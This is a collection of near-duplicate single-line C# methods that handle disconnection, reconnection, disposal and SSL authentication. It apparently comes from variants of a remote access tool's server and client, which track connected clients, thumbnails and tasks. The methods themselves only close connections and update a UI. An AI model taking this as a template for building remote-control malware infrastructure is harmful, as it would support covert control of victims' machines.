public void Disconnected() { if (LV != null) { Program.form1.BeginInvoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } })); new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red); } try { SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } }
public void Disconnected() { if (LV != null) { Program.form1.Invoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.offline); sp.Load(); sp.Play(); new HandleLogs().Addmsg($"Client {Ip} disconnected.", Color.Red); })); } try { SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public void Disconnected() { if (LV != null) { Program.form1.Invoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } new HandleLogs().Addmsg($"Client {Ip} disconnected", Color.Red); })); } try { SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public static void Reconnect() { try { Ping?.Dispose(); KeepAlive?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public static void Disconnected() { try { IsConnected = false; Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public static void Reconnect() { try { Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); MS?.Dispose(); } catch { } }
public void Dispose() { try { Tick?.Dispose(); SslClient?.Dispose(); Client?.Dispose(); MS?.Dispose(); } catch { } }
public static void Reconnect() { try { SslClient?.Dispose(); TcpClient?.Dispose(); Ping?.Dispose(); KeepAlive?.Dispose(); } catch { } IsConnected = false; }
public static void Reconnect() { try { Tick?.Dispose(); SslClient?.Dispose(); Client?.Dispose(); MS?.Dispose(); } finally { InitializeClient(); } }
private void EndAuthenticate(IAsyncResult ar) { try { SslClient.EndAuthenticateAsServer(ar); ClientBuffer = new byte[HeaderSize]; ClientMS = new MemoryStream(); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { SslClient?.Dispose(); TcpClient?.Dispose(); } }
private void EndAuthenticate(IAsyncResult ar) { try { SslClient.EndAuthenticateAsServer(ar); ClientBuffer = new byte[4]; ClientMS = new MemoryStream(); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); SslClient?.Dispose(); TcpClient?.Dispose(); } }
private void EndAuthenticate(IAsyncResult ar) { try { SslClient.EndAuthenticateAsServer(ar); Offset = 0; HeaderSize = 4; ClientBuffer = new byte[HeaderSize]; SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null); } catch { SslClient?.Dispose(); TcpClient?.Dispose(); } }
public void Dispose() { IsConnected = false; try { TcpClient.Shutdown(SocketShutdown.Both); } catch { } try { Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public void Disconnected() { if (LV != null) { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { try { lock (Settings.Listview1Lock) LV.Remove(); if (LV2 != null) { lock (Settings.Listview3Lock) LV2.Remove(); } } catch { } })); } lock (Settings.Online) Settings.Online.Remove(this); } try { TcpClient.Shutdown(SocketShutdown.Both); } catch { } try { SslClient?.Close(); TcpClient?.Close(); SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } }
public static void Disconnected() { try { try { if (File.Exists(Packet.ZipfilePath)) { File.Delete(Packet.ZipfilePath); } } catch { } IsConnected = false; Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); GC.Collect(); } catch { } }
public void Disconnected() { if (LV != null) { Program.form1.Invoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } new HandleLogs().Addmsg($"Client {Ip} disconnected.", Color.Red); TimeZoneInfo local = TimeZoneInfo.Local; if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true) { SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.offline); sp.Load(); sp.Play(); } foreach (AsyncTask asyncTask in Form1.getTasks.ToList()) { asyncTask.doneClient.Remove(ID); } })); } try { SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }